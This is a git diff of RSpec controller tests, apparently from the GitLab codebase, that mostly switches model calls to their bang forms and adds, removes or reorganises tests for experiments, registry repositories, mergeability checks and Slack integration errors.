diff --git a/spec/controllers/projects/incidents_controller_spec.rb b/spec/controllers/projects/incidents_controller_spec.rb
index ddd15b9b1dd..460821634b0 100644
--- a/spec/controllers/projects/incidents_controller_spec.rb
+++ b/spec/controllers/projects/incidents_controller_spec.rb
@@ -69,6 +69,7 @@ RSpec.describe Projects::IncidentsController do
end
let_it_be(:resource) { create(:incident, project: project) }
+
let(:user) { developer }
it 'renders incident page' do
diff --git a/spec/controllers/projects/issues_controller_spec.rb b/spec/controllers/projects/issues_controller_spec.rb
index 74062038248..3e016a5e8d2 100644
--- a/spec/controllers/projects/issues_controller_spec.rb
+++ b/spec/controllers/projects/issues_controller_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Projects::IssuesController do
let_it_be(:project, reload: true) { create(:project) }
let_it_be(:user, reload: true) { create(:user) }
+
let(:issue) { create(:issue, project: project) }
let(:spam_action_response_fields) { { 'stub_spam_action_response_fields' => true } }
@@ -44,7 +45,7 @@ RSpec.describe Projects::IssuesController do
let_it_be(:issue) { create(:issue, project: new_project) }
before do
- project.route.destroy
+ project.route.destroy!
new_project.redirect_routes.create!(path: project.full_path)
new_project.add_developer(user)
end
@@ -63,23 +64,6 @@ RSpec.describe Projects::IssuesController do
expect(response).to have_gitlab_http_status(:moved_permanently)
end
end
-
- describe 'the null hypothesis experiment', :experiment do
- before do
- stub_experiments(null_hypothesis: :candidate)
- end
-
- it 'defines the expected before actions' do
- expect(controller).to use_before_action(:run_null_hypothesis_experiment)
- end
-
- it 'assigns the candidate experience and tracks the event' do
- expect(experiment(:null_hypothesis)).to track('index').on_any_instance.for(:candidate)
- .with_context(project: project)
-
- get :index, params: { namespace_id: project.namespace, project_id: project }
- end
- end
end
context 'internal issue tracker' do
@@ -209,6 +193,32 @@ RSpec.describe Projects::IssuesController do
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['issue_email_participants']).to contain_exactly({ "email" => participants[0].email }, { "email" => participants[1].email })
end
+
+ context 'with the invite_members_in_comment experiment', :experiment do
+ context 'when user can invite' do
+ before do
+ stub_experiments(invite_members_in_comment: :invite_member_link)
+ project.add_maintainer(user)
+ end
+
+ it 'assigns the candidate experience and tracks the event' do
+ expect(experiment(:invite_members_in_comment)).to track(:view, property: project.root_ancestor.id.to_s)
+ .for(:invite_member_link)
+ .with_context(namespace: project.root_ancestor)
+ .on_next_instance
+
+ get :show, params: { namespace_id: project.namespace, project_id: project, id: issue.iid }
+ end
+ end
+
+ context 'when user can not invite' do
+ it 'does not track the event' do
+ expect(experiment(:invite_members_in_comment)).not_to track(:view)
+
+ get :show, params: { namespace_id: project.namespace, project_id: project, id: issue.iid }
+ end
+ end
+ end
end
describe 'GET #new' do
@@ -342,6 +352,7 @@ RSpec.describe Projects::IssuesController do
end
let_it_be(:issue) { create(:issue, project: project) }
+
let(:developer) { user }
let(:params) do
{
@@ -685,7 +696,7 @@ RSpec.describe Projects::IssuesController do
issue.update!(last_edited_by: deleted_user, last_edited_at: Time.current)
- deleted_user.destroy
+ deleted_user.destroy!
sign_in(user)
end
@@ -1038,10 +1049,10 @@ RSpec.describe Projects::IssuesController do
labels = create_list(:label, 10, project: project).map(&:to_reference)
issue = create(:issue, project: project, description: 'Test issue')
- control_count = ActiveRecord::QueryRecorder.new { issue.update(description: [issue.description, label].join(' ')) }.count
+ control_count = ActiveRecord::QueryRecorder.new { issue.update!(description: [issue.description, label].join(' ')) }.count
# Follow-up to get rid of this `2 * label.count` requirement: https://gitlab.com/gitlab-org/gitlab-foss/issues/52230
- expect { issue.update(description: [issue.description, labels].join(' ')) }
+ expect { issue.update!(description: [issue.description, labels].join(' ')) }
.not_to exceed_query_limit(control_count + 2 * labels.count)
end
@@ -1158,6 +1169,7 @@ RSpec.describe Projects::IssuesController do
context 'resolving discussions in MergeRequest' do
let_it_be(:discussion) { create(:diff_note_on_merge_request).to_discussion }
+
let(:merge_request) { discussion.noteable }
let(:project) { merge_request.source_project }
@@ -1420,9 +1432,7 @@ RSpec.describe Projects::IssuesController do
expect_next_instance_of(Spam::AkismetService) do |akismet_service|
expect(akismet_service).to receive_messages(submit_spam: true)
end
- expect_next_instance_of(ApplicationSetting) do |setting|
- expect(setting).to receive_messages(akismet_enabled: true)
- end
+ stub_application_setting(akismet_enabled: true)
end
def post_spam
@@ -1490,12 +1500,6 @@ RSpec.describe Projects::IssuesController do
expect(response).to have_gitlab_http_status(:unprocessable_entity)
expect(json_response).to eq({ 'errors' => 'Destroy confirmation not provided for issue' })
end
-
- it 'delegates the update of the todos count cache to TodoService' do
- expect_any_instance_of(TodoService).to receive(:destroy_target).with(issue).once
-
- delete :destroy, params: { namespace_id: project.namespace, project_id: project, id: issue.iid, destroy_confirm: true }
- end
end
end
@@ -1623,6 +1627,7 @@ RSpec.describe Projects::IssuesController do
describe 'POST #import_csv' do
let_it_be(:project) { create(:project, :public) }
+
let(:file) { fixture_file_upload('spec/fixtures/csv_comma.csv') }
context 'unauthorized' do
@@ -1822,6 +1827,7 @@ RSpec.describe Projects::IssuesController do
context 'with cross-reference system note', :request_store do
let_it_be(:new_issue) { create(:issue) }
+
let(:cross_reference) { "mentioned in #{new_issue.to_reference(issue.project)}" }
before do
@@ -1899,7 +1905,7 @@ RSpec.describe Projects::IssuesController do
before do
sign_in(user)
- project.route.destroy
+ project.route.destroy!
new_project.redirect_routes.create!(path: project.full_path)
new_project.add_developer(user)
end
diff --git a/spec/controllers/projects/jobs_controller_spec.rb b/spec/controllers/projects/jobs_controller_spec.rb
index 80e1268cb01..a7a36d3a074 100644
--- a/spec/controllers/projects/jobs_controller_spec.rb
+++ b/spec/controllers/projects/jobs_controller_spec.rb
@@ -1275,6 +1275,7 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do
let_it_be(:reporter) { create(:user) }
let_it_be(:guest) { create(:user) }
let_it_be(:project) { create(:project, :private, :repository, namespace: owner.namespace) }
+
let(:user) { maintainer }
let(:pipeline) { create(:ci_pipeline, project: project, source: :webide, config_source: :webide_source, user: user) }
let(:job) { create(:ci_build, :running, :with_runner_session, pipeline: pipeline, user: user) }
diff --git a/spec/controllers/projects/labels_controller_spec.rb b/spec/controllers/projects/labels_controller_spec.rb
index f452c22a5ca..081927ea73c 100644
--- a/spec/controllers/projects/labels_controller_spec.rb
+++ b/spec/controllers/projects/labels_controller_spec.rb
@@ -65,7 +65,7 @@ RSpec.describe Projects::LabelsController do
end
it 'does not include group labels when project does not belong to a group' do
- project.update(namespace: create(:namespace))
+ project.update!(namespace: create(:namespace))
list_labels
@@ -93,6 +93,26 @@ RSpec.describe Projects::LabelsController do
end
end
+ context 'with views rendered' do
+ render_views
+
+ before do
+ list_labels
+ end
+
+ it 'avoids N+1 queries' do
+ control = ActiveRecord::QueryRecorder.new(skip_cached: false) { list_labels }
+
+ create_list(:label, 3, project: project)
+ create_list(:group_label, 3, group: group)
+
+ # some n+1 queries still exist
+ # calls to get max project authorization access level
+ expect { list_labels }.not_to exceed_all_query_limit(control.count).with_threshold(25)
+ expect(assigns(:labels).count).to eq(10)
+ end
+ end
+
def list_labels
get :index, params: { namespace_id: project.namespace.to_param, project_id: project }
end
@@ -221,7 +241,7 @@ RSpec.describe Projects::LabelsController do
end
context 'when requesting a redirected path' do
- let_it_be(:redirect_route) { project.redirect_routes.create(path: project.full_path + 'old') }
+ let_it_be(:redirect_route) { project.redirect_routes.create!(path: project.full_path + 'old') }
it 'redirects to the canonical path' do
get :index, params: { namespace_id: project.namespace, project_id: project.to_param + 'old' }
@@ -267,7 +287,7 @@ RSpec.describe Projects::LabelsController do
end
context 'when requesting a redirected path' do
- let_it_be(:redirect_route) { project.redirect_routes.create(path: project.full_path + 'old') }
+ let_it_be(:redirect_route) { project.redirect_routes.create!(path: project.full_path + 'old') }
it 'returns not found' do
post :generate, params: { namespace_id: project.namespace, project_id: project.to_param + 'old' }
diff --git a/spec/controllers/projects/merge_requests/content_controller_spec.rb b/spec/controllers/projects/merge_requests/content_controller_spec.rb
index 67d3ef6f4f0..0eaa528a330 100644
--- a/spec/controllers/projects/merge_requests/content_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/content_controller_spec.rb
@@ -11,13 +11,13 @@ RSpec.describe Projects::MergeRequests::ContentController do
sign_in(user)
end
- def do_request(action = :cached_widget)
+ def do_request(action = :cached_widget, params = {})
get action, params: {
namespace_id: project.namespace.to_param,
project_id: project,
id: merge_request.iid,
format: :json
- }
+ }.merge(params)
end
context 'user has access to the project' do
@@ -42,6 +42,10 @@ RSpec.describe Projects::MergeRequests::ContentController do
end
describe 'GET widget' do
+ before do
+ merge_request.mark_as_unchecked!
+ end
+
it 'checks whether the MR can be merged' do
controller.instance_variable_set(:@merge_request, merge_request)
@@ -53,6 +57,17 @@ RSpec.describe Projects::MergeRequests::ContentController do
expect(response.headers['Poll-Interval']).to eq('10000')
end
+ context 'when async_mergeability_check param is passed' do
+ it 'checks mergeability asynchronously' do
+ expect_next_instance_of(MergeRequests::MergeabilityCheckService) do |service|
+ expect(service).not_to receive(:execute)
+ expect(service).to receive(:async_execute).and_call_original
+ end
+
+ do_request(:widget, { async_mergeability_check: true })
+ end
+ end
+
context 'merged merge request' do
let(:merge_request) do
create(:merged_merge_request, :with_test_reports, target_project: project, source_project: project)
diff --git a/spec/controllers/projects/merge_requests/creations_controller_spec.rb b/spec/controllers/projects/merge_requests/creations_controller_spec.rb
index 091a44130a1..df2023b7356 100644
--- a/spec/controllers/projects/merge_requests/creations_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/creations_controller_spec.rb
@@ -213,6 +213,38 @@ RSpec.describe Projects::MergeRequests::CreationsController do
expect(assigns(:commit)).to be_nil
expect(response).to have_gitlab_http_status(:ok)
end
+
+ context 'no target_project_id provided' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it 'selects itself as a target project' do
+ get :branch_to,
+ params: {
+ namespace_id: project.namespace,
+ project_id: project,
+ ref: 'master'
+ }
+
+ expect(assigns(:target_project)).to eq(project)
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ context 'project is a fork' do
+ it 'calls to project defaults to selects a correct target project' do
+ get :branch_to,
+ params: {
+ namespace_id: fork_project.namespace,
+ project_id: fork_project,
+ ref: 'master'
+ }
+
+ expect(assigns(:target_project)).to eq(project)
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
end
describe 'POST create' do
diff --git a/spec/controllers/projects/merge_requests/drafts_controller_spec.rb b/spec/controllers/projects/merge_requests/drafts_controller_spec.rb
index af39d4dec72..580211893dc 100644
--- a/spec/controllers/projects/merge_requests/drafts_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/drafts_controller_spec.rb
@@ -297,7 +297,7 @@ RSpec.describe Projects::MergeRequests::DraftsController do
expect { post :publish, params: params }.to change { Note.count }.by(0).and change { DraftNote.count }.by(0)
end
- it 'publishes a draft note with quick actions and applies them' do
+ it 'publishes a draft note with quick actions and applies them', :sidekiq_inline do
project.add_developer(user2)
create(:draft_note, merge_request: merge_request, author: user,
note: "/assign #{user2.to_reference}")
diff --git a/spec/controllers/projects/merge_requests_controller_spec.rb b/spec/controllers/projects/merge_requests_controller_spec.rb
index 93d5e7eff6c..337a4a19b2e 100644
--- a/spec/controllers/projects/merge_requests_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests_controller_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Projects::MergeRequestsController do
let_it_be_with_refind(:project) { create(:project, :repository) }
let_it_be_with_reload(:project_public_with_private_builds) { create(:project, :repository, :public, :builds_private) }
+
let(:user) { project.owner }
let(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
@@ -40,6 +41,32 @@ RSpec.describe Projects::MergeRequestsController do
get :show, params: params.merge(extra_params)
end
+ context 'with the invite_members_in_comment experiment', :experiment do
+ context 'when user can invite' do
+ before do
+ stub_experiments(invite_members_in_comment: :invite_member_link)
+ project.add_maintainer(user)
+ end
+
+ it 'assigns the candidate experience and tracks the event' do
+ expect(experiment(:invite_members_in_comment)).to track(:view, property: project.root_ancestor.id.to_s)
+ .for(:invite_member_link)
+ .with_context(namespace: project.root_ancestor)
+ .on_next_instance
+
+ go
+ end
+ end
+
+ context 'when user can not invite' do
+ it 'does not track the event' do
+ expect(experiment(:invite_members_in_comment)).not_to track(:view)
+
+ go
+ end
+ end
+ end
+
context 'with view param' do
before do
go(view: 'parallel')
@@ -55,13 +82,19 @@ RSpec.describe Projects::MergeRequestsController do
merge_request.mark_as_unchecked!
end
- it 'checks mergeability asynchronously' do
- expect_next_instance_of(MergeRequests::MergeabilityCheckService) do |service|
- expect(service).not_to receive(:execute)
- expect(service).to receive(:async_execute)
+ context 'check_mergeability_async_in_widget feature flag is disabled' do
+ before do
+ stub_feature_flags(check_mergeability_async_in_widget: false)
end
- go
+ it 'checks mergeability asynchronously' do
+ expect_next_instance_of(MergeRequests::MergeabilityCheckService) do |service|
+ expect(service).not_to receive(:execute)
+ expect(service).to receive(:async_execute)
+ end
+
+ go
+ end
end
end
@@ -695,12 +728,6 @@ RSpec.describe Projects::MergeRequestsController do
expect(response).to have_gitlab_http_status(:unprocessable_entity)
expect(json_response).to eq({ 'errors' => 'Destroy confirmation not provided for merge request' })
end
-
- it 'delegates the update of the todos count cache to TodoService' do
- expect_any_instance_of(TodoService).to receive(:destroy_target).with(merge_request).once
-
- delete :destroy, params: { namespace_id: project.namespace, project_id: project, id: merge_request.iid, destroy_confirm: true }
- end
end
end
diff --git a/spec/controllers/projects/milestones_controller_spec.rb b/spec/controllers/projects/milestones_controller_spec.rb
index b93f1b41a7e..b62353784b3 100644
--- a/spec/controllers/projects/milestones_controller_spec.rb
+++ b/spec/controllers/projects/milestones_controller_spec.rb
@@ -105,7 +105,7 @@ RSpec.describe Projects::MilestonesController do
context 'with a single group ancestor' do
before do
- project.update(namespace: group)
+ project.update!(namespace: group)
get :index, params: { namespace_id: project.namespace.id, project_id: project.id }, format: :json
end
@@ -122,7 +122,7 @@ RSpec.describe Projects::MilestonesController do
let!(:subgroup_milestone) { create(:milestone, group: subgroup) }
before do
- project.update(namespace: subgroup)
+ project.update!(namespace: subgroup)
get :index, params: { namespace_id: project.namespace.id, project_id: project.id }, format: :json
end
@@ -158,7 +158,7 @@ RSpec.describe Projects::MilestonesController do
let(:group) { create(:group) }
before do
- project.update(namespace: group)
+ project.update!(namespace: group)
end
context 'when user does not have permission to promote milestone' do
@@ -234,7 +234,7 @@ RSpec.describe Projects::MilestonesController do
end
it 'renders 404' do
- project.update(namespace: user.namespace)
+ project.update!(namespace: user.namespace)
post :promote, params: { namespace_id: project.namespace.id, project_id: project.id, id: milestone.iid }
@@ -253,7 +253,7 @@ RSpec.describe Projects::MilestonesController do
before do
project.add_guest(guest_user)
sign_in(guest_user)
- issue.update(assignee_ids: issue_assignee.id)
+ issue.update!(assignee_ids: issue_assignee.id)
end
context "when issue is not confidential" do
@@ -269,7 +269,7 @@ RSpec.describe Projects::MilestonesController do
context "when issue is confidential" do
before do
- issue.update(confidential: true)
+ issue.update!(confidential: true)
end
it 'shows no milestone participants' do
diff --git a/spec/controllers/projects/notes_controller_spec.rb b/spec/controllers/projects/notes_controller_spec.rb
index add249e2c74..d92862f0ca3 100644
--- a/spec/controllers/projects/notes_controller_spec.rb
+++ b/spec/controllers/projects/notes_controller_spec.rb
@@ -334,7 +334,7 @@ RSpec.describe Projects::NotesController do
before do
project.update_attribute(:visibility_level, project_visibility)
- project.project_feature.update(merge_requests_access_level: merge_requests_access_level)
+ project.project_feature.update!(merge_requests_access_level: merge_requests_access_level)
sign_in(user)
end
@@ -917,7 +917,7 @@ RSpec.describe Projects::NotesController do
context "when the note is not resolvable" do
before do
- note.update(system: true)
+ note.update!(system: true)
end
it "returns status 404" do
@@ -980,7 +980,7 @@ RSpec.describe Projects::NotesController do
context "when the note is not resolvable" do
before do
- note.update(system: true)
+ note.update!(system: true)
end
it "returns status 404" do
diff --git a/spec/controllers/projects/performance_monitoring/dashboards_controller_spec.rb b/spec/controllers/projects/performance_monitoring/dashboards_controller_spec.rb
index 8a344a72120..923581d9367 100644
--- a/spec/controllers/projects/performance_monitoring/dashboards_controller_spec.rb
+++ b/spec/controllers/projects/performance_monitoring/dashboards_controller_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::PerformanceMonitoring::DashboardsController do
let_it_be(:user) { create(:user) }
let_it_be(:namespace) { create(:namespace) }
+
let!(:project) { create(:project, :repository, name: 'dashboard-project', namespace: namespace) }
let(:repository) { project.repository }
let(:branch) { double(name: branch_name) }
diff --git a/spec/controllers/projects/pipelines_controller_spec.rb b/spec/controllers/projects/pipelines_controller_spec.rb
index e1405660ccb..753223c5a4f 100644
--- a/spec/controllers/projects/pipelines_controller_spec.rb
+++ b/spec/controllers/projects/pipelines_controller_spec.rb
@@ -7,13 +7,14 @@ RSpec.describe Projects::PipelinesController do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :public, :repository) }
+
let(:feature) { ProjectFeature::ENABLED }
before do
allow(Sidekiq.logger).to receive(:info)
stub_not_protect_default_branch
project.add_developer(user)
- project.project_feature.update(builds_access_level: feature)
+ project.project_feature.update!(builds_access_level: feature)
sign_in(user)
end
@@ -272,6 +273,23 @@ RSpec.describe Projects::PipelinesController do
end
end
+ describe 'GET #index' do
+ context 'pipeline_empty_state_templates experiment' do
+ before do
+ stub_application_setting(auto_devops_enabled: false)
+ end
+
+ it 'tracks the view', :experiment do
+ expect(experiment(:pipeline_empty_state_templates))
+ .to track(:view, value: project.namespace_id)
+ .with_context(actor: user)
+ .on_next_instance
+
+ get :index, params: { namespace_id: project.namespace, project_id: project }
+ end
+ end
+ end
+
describe 'GET show.json' do
let(:pipeline) { create(:ci_pipeline, project: project) }
@@ -628,44 +646,6 @@ RSpec.describe Projects::PipelinesController do
end
end
- describe 'GET stages_ajax.json' do
- let(:pipeline) { create(:ci_pipeline, project: project) }
-
- context 'when accessing existing stage' do
- before do
- create(:ci_build, pipeline: pipeline, stage: 'build')
-
- get_stage_ajax('build')
- end
-
- it 'returns html source for stage dropdown' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to render_template('projects/pipelines/_stage')
- expect(json_response).to include('html')
- end
- end
-
- context 'when accessing unknown stage' do
- before do
- get_stage_ajax('test')
- end
-
- it 'responds with not found' do
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
- def get_stage_ajax(name)
- get :stage_ajax, params: {
- namespace_id: project.namespace,
- project_id: project,
- id: pipeline.id,
- stage: name
- },
- format: :json
- end
- end
-
describe 'GET status.json' do
let(:pipeline) { create(:ci_pipeline, project: project) }
let(:status) { pipeline.detailed_status(double('user')) }
@@ -702,7 +682,7 @@ RSpec.describe Projects::PipelinesController do
before do
project.add_developer(user)
- project.project_feature.update(builds_access_level: feature)
+ project.project_feature.update!(builds_access_level: feature)
end
context 'with a valid .gitlab-ci.yml file' do
@@ -721,7 +701,7 @@ RSpec.describe Projects::PipelinesController do
pipeline = project.ci_pipelines.last
expected_redirect_path = Gitlab::Routing.url_helpers.project_pipeline_path(project, pipeline)
- expect(pipeline).to be_pending
+ expect(pipeline).to be_created
expect(response).to redirect_to(expected_redirect_path)
end
end
@@ -777,7 +757,7 @@ RSpec.describe Projects::PipelinesController do
before do
project.add_developer(user)
- project.project_feature.update(builds_access_level: feature)
+ project.project_feature.update!(builds_access_level: feature)
end
context 'with a valid .gitlab-ci.yml file' do
diff --git a/spec/controllers/projects/pipelines_settings_controller_spec.rb b/spec/controllers/projects/pipelines_settings_controller_spec.rb
index ad631b7c3da..39fb153e802 100644
--- a/spec/controllers/projects/pipelines_settings_controller_spec.rb
+++ b/spec/controllers/projects/pipelines_settings_controller_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Projects::PipelinesSettingsController do
let_it_be(:user) { create(:user) }
let_it_be(:project_auto_devops) { create(:project_auto_devops) }
+
let(:project) { project_auto_devops.project }
before do
diff --git a/spec/controllers/projects/project_members_controller_spec.rb b/spec/controllers/projects/project_members_controller_spec.rb
index 53a7c2ca069..46a0fc8edb0 100644
--- a/spec/controllers/projects/project_members_controller_spec.rb
+++ b/spec/controllers/projects/project_members_controller_spec.rb
@@ -7,8 +7,12 @@ RSpec.describe Projects::ProjectMembersController do
let(:group) { create(:group, :public) }
let(:project) { create(:project, :public) }
- around do |example|
- travel_to DateTime.new(2019, 4, 1) { example.run }
+ before do
+ travel_to DateTime.new(2019, 4, 1)
+ end
+
+ after do
+ travel_back
end
describe 'GET index' do
diff --git a/spec/controllers/projects/raw_controller_spec.rb b/spec/controllers/projects/raw_controller_spec.rb
index b1c3c1c0276..5dee36ee7c2 100644
--- a/spec/controllers/projects/raw_controller_spec.rb
+++ b/spec/controllers/projects/raw_controller_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Projects::RawController do
include RepoHelpers
let_it_be(:project) { create(:project, :public, :repository) }
+
let(:inline) { nil }
describe 'GET #show' do
diff --git a/spec/controllers/projects/registry/repositories_controller_spec.rb b/spec/controllers/projects/registry/repositories_controller_spec.rb
index 9b803edd463..0685e5a2055 100644
--- a/spec/controllers/projects/registry/repositories_controller_spec.rb
+++ b/spec/controllers/projects/registry/repositories_controller_spec.rb
@@ -16,19 +16,19 @@ RSpec.describe Projects::Registry::RepositoriesController do
project.add_developer(user)
end
- shared_examples 'with name parameter' do
- let_it_be(:repo) { create(:container_repository, project: project, name: 'my_searched_image') }
- let_it_be(:another_repo) { create(:container_repository, project: project, name: 'bar') }
-
- it 'returns the searched repo' do
- go_to_index(format: :json, params: { name: 'my_searched_image' })
+ shared_examples 'renders 200 for html and 404 for json' do
+ it 'successfully renders container repositories', :snowplow do
+ go_to_index
expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.length).to eq 1
- expect(json_response.first).to include(
- 'id' => repo.id,
- 'name' => repo.name
- )
+ # event tracked in GraphQL API: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44926
+ expect_no_snowplow_event
+ end
+
+ it 'returns 404 for request in json format' do
+ go_to_index(format: :json)
+
+ expect(response).to have_gitlab_http_status(:not_found)
end
end
@@ -50,33 +50,12 @@ RSpec.describe Projects::Registry::RepositoriesController do
tags: %w[rc1 latest])
end
- it 'successfully renders container repositories', :snowplow do
- go_to_index
-
- expect_no_snowplow_event
- expect(response).to have_gitlab_http_status(:ok)
- end
-
- it 'tracks the event', :snowplow do
- go_to_index(format: :json)
-
- expect_snowplow_event(category: anything, action: 'list_repositories')
- end
-
it 'creates a root container repository' do
expect { go_to_index }.to change { ContainerRepository.all.count }.by(1)
expect(ContainerRepository.first).to be_root_repository
end
- it 'json has a list of projects' do
- go_to_index(format: :json)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to match_response_schema('registry/repositories')
- expect(response).to include_pagination_headers
- end
-
- it_behaves_like 'with name parameter'
+ it_behaves_like 'renders 200 for html and 404 for json'
end
context 'when there are no tags for this repository' do
@@ -84,22 +63,11 @@ RSpec.describe Projects::Registry::RepositoriesController do
stub_container_registry_tags(repository: :any, tags: [])
end
- it 'successfully renders container repositories' do
- go_to_index
-
- expect(response).to have_gitlab_http_status(:ok)
- end
-
it 'does not ensure root container repository' do
expect { go_to_index }.not_to change { ContainerRepository.all.count }
end
- it 'responds with json if asked' do
- go_to_index(format: :json)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response).to be_kind_of(Array)
- end
+ it_behaves_like 'renders 200 for html and 404 for json'
end
end
end
diff --git a/spec/controllers/projects/registry/tags_controller_spec.rb b/spec/controllers/projects/registry/tags_controller_spec.rb
index 5bff89b4308..c03a280d2cd 100644
--- a/spec/controllers/projects/registry/tags_controller_spec.rb
+++ b/spec/controllers/projects/registry/tags_controller_spec.rb
@@ -42,7 +42,7 @@ RSpec.describe Projects::Registry::TagsController do
it 'tracks the event', :snowplow do
get_tags
- expect_snowplow_event(category: anything, action: 'list_tags')
+ expect_snowplow_event(category: 'Projects::Registry::TagsController', action: 'list_tags')
end
end
@@ -107,11 +107,12 @@ RSpec.describe Projects::Registry::TagsController do
destroy_tag('test.')
end
- it 'tracks the event' do
+ it 'tracks the event', :snowplow do
expect_delete_tags(%w[test.])
- expect(controller).to receive(:track_event).with(:delete_tag)
destroy_tag('test.')
+
+ expect_snowplow_event(category: 'Projects::Registry::TagsController', action: 'delete_tag')
end
end
end
diff --git a/spec/controllers/projects/releases/evidences_controller_spec.rb b/spec/controllers/projects/releases/evidences_controller_spec.rb
index 0ec4cdf2a31..68433969d69 100644
--- a/spec/controllers/projects/releases/evidences_controller_spec.rb
+++ b/spec/controllers/projects/releases/evidences_controller_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Projects::Releases::EvidencesController do
let_it_be(:private_project) { create(:project, :repository, :private) }
let_it_be(:developer) { create(:user) }
let_it_be(:reporter) { create(:user) }
+
let(:user) { developer }
before do
@@ -62,7 +63,7 @@ RSpec.describe Projects::Releases::EvidencesController do
context 'when the release was created before evidence existed' do
before do
- evidence.destroy
+ evidence.destroy!
end
it_behaves_like 'not found'
diff --git a/spec/controllers/projects/releases_controller_spec.rb b/spec/controllers/projects/releases_controller_spec.rb
index fc7ab88bbe0..a1e36ec5c4c 100644
--- a/spec/controllers/projects/releases_controller_spec.rb
+++ b/spec/controllers/projects/releases_controller_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe Projects::ReleasesController do
let_it_be(:reporter) { create(:user) }
let_it_be(:guest) { create(:user) }
let_it_be(:user) { developer }
+
let!(:release_1) { create(:release, project: project, released_at: Time.zone.parse('2018-10-18')) }
let!(:release_2) { create(:release, project: project, released_at: Time.zone.parse('2019-10-19')) }
diff --git a/spec/controllers/projects/repositories_controller_spec.rb b/spec/controllers/projects/repositories_controller_spec.rb
index e6327a72a68..cb2579b800a 100644
--- a/spec/controllers/projects/repositories_controller_spec.rb
+++ b/spec/controllers/projects/repositories_controller_spec.rb
@@ -56,28 +56,6 @@ RSpec.describe Projects::RepositoriesController do
expect(response.header[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("git-archive:")
end
- it 'handles legacy queries with no ref' do
- get :archive, params: { namespace_id: project.namespace, project_id: project }, format: "zip"
-
- expect(response.header[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("git-archive:")
- end
-
- it 'handles legacy queries with the ref specified as ref in params' do
- get :archive, params: { namespace_id: project.namespace, project_id: project, ref: 'feature' }, format: 'zip'
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(assigns(:ref)).to eq('feature')
- expect(response.header[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("git-archive:")
- end
-
- it 'handles legacy queries with the ref specified as id in params' do
- get :archive, params: { namespace_id: project.namespace, project_id: project, id: 'feature' }, format: 'zip'
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(assigns(:ref)).to eq('feature')
- expect(response.header[Gitlab::Workhorse::SEND_DATA_HEADER]).to start_with("git-archive:")
- end
-
it 'prioritizes the id param over the ref param when both are specified' do
get :archive, params: { namespace_id: project.namespace, project_id: project, id: 'feature', ref: 'feature_conflict' }, format: 'zip'
diff --git a/spec/controllers/projects/runners_controller_spec.rb b/spec/controllers/projects/runners_controller_spec.rb
index d63d88f8283..3021ad42c9f 100644
--- a/spec/controllers/projects/runners_controller_spec.rb
+++ b/spec/controllers/projects/runners_controller_spec.rb
@@ -46,7 +46,7 @@ RSpec.describe Projects::RunnersController do
describe '#resume' do
it 'marks the runner as active and ticks the queue' do
- runner.update(active: false)
+ runner.update!(active: false)
expect do
post :resume, params: params
@@ -61,7 +61,7 @@ RSpec.describe Projects::RunnersController do
describe '#pause' do
it 'marks the runner as inactive and ticks the queue' do
- runner.update(active: true)
+ runner.update!(active: true)
expect do
post :pause, params: params
diff --git a/spec/controllers/projects/services_controller_spec.rb b/spec/controllers/projects/services_controller_spec.rb
index 8f928cf3382..488a34b74df 100644
--- a/spec/controllers/projects/services_controller_spec.rb
+++ b/spec/controllers/projects/services_controller_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Projects::ServicesController do
include JiraServiceHelper
+ include AfterNextHelpers
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
@@ -13,7 +14,6 @@ RSpec.describe Projects::ServicesController do
before do
sign_in(user)
project.add_maintainer(user)
- allow(Gitlab::UrlBlocker).to receive(:validate!).and_return([URI.parse('http://example.com'), nil])
end
describe '#test' do
@@ -114,7 +114,7 @@ RSpec.describe Projects::ServicesController do
end
context 'failure' do
- it 'returns success status code and the error message' do
+ it 'returns an error response when the integration test fails' do
stub_request(:get, 'http://example.com/rest/api/2/serverInfo')
.to_return(status: 404)
@@ -128,6 +128,36 @@ RSpec.describe Projects::ServicesController do
'test_failed' => true
)
end
+
+ context 'with the Slack integration' do
+ let_it_be(:service) { build(:slack_service) }
+
+ it 'returns an error response when the URL is blocked' do
+ put :test, params: project_params(service: { webhook: 'http://127.0.0.1' })
+
+ expect(response).to be_successful
+ expect(json_response).to eq(
+ 'error' => true,
+ 'message' => 'Connection failed. Please check your settings.',
+ 'service_response' => "URL 'http://127.0.0.1' is blocked: Requests to localhost are not allowed",
+ 'test_failed' => true
+ )
+ end
+
+ it 'returns an error response when a network exception is raised' do
+ expect_next(SlackService).to receive(:test).and_raise(Errno::ECONNREFUSED)
+
+ put :test, params: project_params
+
+ expect(response).to be_successful
+ expect(json_response).to eq(
+ 'error' => true,
+ 'message' => 'Connection failed. Please check your settings.',
+ 'service_response' => 'Connection refused',
+ 'test_failed' => true
+ )
+ end
+ end
end
end
diff --git a/spec/controllers/projects/settings/access_tokens_controller_spec.rb b/spec/controllers/projects/settings/access_tokens_controller_spec.rb
